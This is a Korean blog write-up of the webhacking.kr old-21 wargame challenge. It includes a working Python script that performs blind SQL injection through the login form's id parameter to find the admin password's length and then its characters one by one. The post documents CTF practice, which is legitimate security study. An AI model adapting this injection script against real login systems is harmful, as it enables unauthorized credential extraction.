일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 | 29 |
30 | 31 |
- bob
- 웹 해킹
- 정보 보안
- 백엔드
- 코딩 공부
- 백준 알고리즘
- Django CRUD
- bob 9기 후기
- 백준
- 히가시노 게이고
- 동적 프로그래밍
- 독서
- Django Rest Framework
- 백준알고리즘
- 코딩공부
- Django Restful API
- 백엔드 개발
- 알고리즘
- 코딩
- KITRI
- Blind SQL Injection
- 추리 소설
- 일본 소설
- DP
- 웹 개발
- best of the best
- serializer
- 가가 형사 시리즈
- 삼성 SW 역량 테스트
- webhacking.kr
- Today
- Total
요모조모 ʚɞ
[Webhacking.kr] old-21번 문제 풀이 본문
안녕하세요 (* ̄3 ̄)╭
오늘도 새로운 문제를 풀어보았습니당!
https://webhacking.kr/challenge/bonus-1/
Challenge 21
webhacking.kr
문제입니다!
아무 문제나 고른다고 골랐는데ㅠ
또 blind sql injection 문제네요..^^ 그만,,
메인 화면에는 보이는 것과 같이 로그인 창이 하나 있습니다!
보통 많이 사용하는 admin/admin, root/root, guest/guest 등 여러 가지 로그인을 시도해보았는데,
guest/guest로 로그인을 했을 때 다음과 같은 화면이 떴습니다!
오..뭐지 풀린 건가,, 싶었는데 아무 일이 생기지 않는 것을 보니
guest가 아닌 admin으로 로그인을 성공하는 것이 이 문제의 목표가 아닐까 싶습니다!
admin/admin으로 로그인했을 때 login failed가 뜨기 때문에
admin 계정에 해당하는 비밀번호를 찾아내면 될 것 같네요 ㅎㅎ
blind sql injection이라고 주어진 문제였기 때문에 우선 비밀번호 없이 로그인을 시도해보았습니다.
하지만 아무런 결과가 나오지 않는 것을 보니 이 방법은 아닌 것 같습니다!
다음으로는 임의의 비밀번호를 함께 입력해주었습니다!
이렇게 했을 때 여태까지 보지 못했던 result 값인 'wrong password'가 나왔습니다!
기존에 admin/admin으로 접속했을 때 'login failed'가 떴기 때문에
result 값을 적절히 활용하면 blind sql injection을 수행할 수 있을 것 같네요!
이후에는 column name이 id, pw라고 가정하고 python으로 테스트를 해보았는데
어떠한 값이 출력되는 것을 확인하고 이것을 script로 작성해보았습니다.
import requests
url='https://webhacking.kr/challenge/bonus-1/index.php'
params={'pw': 'admin'}
# To find length of password
pw_len=1
while True:
params['id']="admin' and length(pw)={} #".format(pw_len)
response=requests.get(url, params=params)
if "wrong password" in response.text:
break
pw_len+=1
print("pw_length: "+str(pw_len))
# To find password
pw=""
for a in range(1, pw_len+1):
for b in range(1, 128):
params['id']="admin' and ascii(substr(pw, {}, 1))={} #".format(a, b)
response=requests.get(url, params=params)
if "wrong password" in response.text:
# print(chr(b))
pw+=chr(b)
break
print("pw: "+pw)
처음 문제를 풀 때는 id와 pw를 모두 찾아보려고 했는데,
adein/ghere?라는 이상한 계정이 출력되더라구요 ㅠㅠ
그래서 id를 admin으로 고정시키고, 해당 id에 대한 비밀번호를 비교하였습니다!
그리고 비교한 결과가 참일 경우 wrong password라는 result 값이 떴기 때문에
이것을 break의 기준으로 설정하였습니다.
추가적으로 해당 코드를 실행시키게 되면,
비밀번호의 자릿수가 36자리이기 때문에
비밀번호를 다 비교하기 위해서 꽤 많은 시간이 소요됩니다 ㅜㅜ
저도 한참을 기다렸던 것 같아요...ㅎㅎ
참고해주세요!
결과는 다음과 같이 나오게 됩니다!
위와 같이 출력한 비밀번호와 admin이라는 id로 로그인을 시도하면 문제가 해결됩니다 :)
오늘 문제는 (이상한 계정의 등장으로 인한) 삽질과,,, 결과 출력을 하염없이 기다리느라
꽤 많은 시간을 쓴 것 같네요 ㅠ_ㅠ
분노,,,
'웹 해킹' 카테고리의 다른 글
[Webhacking.kr] old-22번 문제 풀이 (0) | 2020.08.20 |
---|---|
[Webhacking.kr] old-01번 문제 풀이 (0) | 2020.08.18 |
[Webhacking.kr] old-10번 문제 풀이 (0) | 2020.08.18 |
[Webhacking.kr] old-02번 문제 풀이 (0) | 2020.08.16 |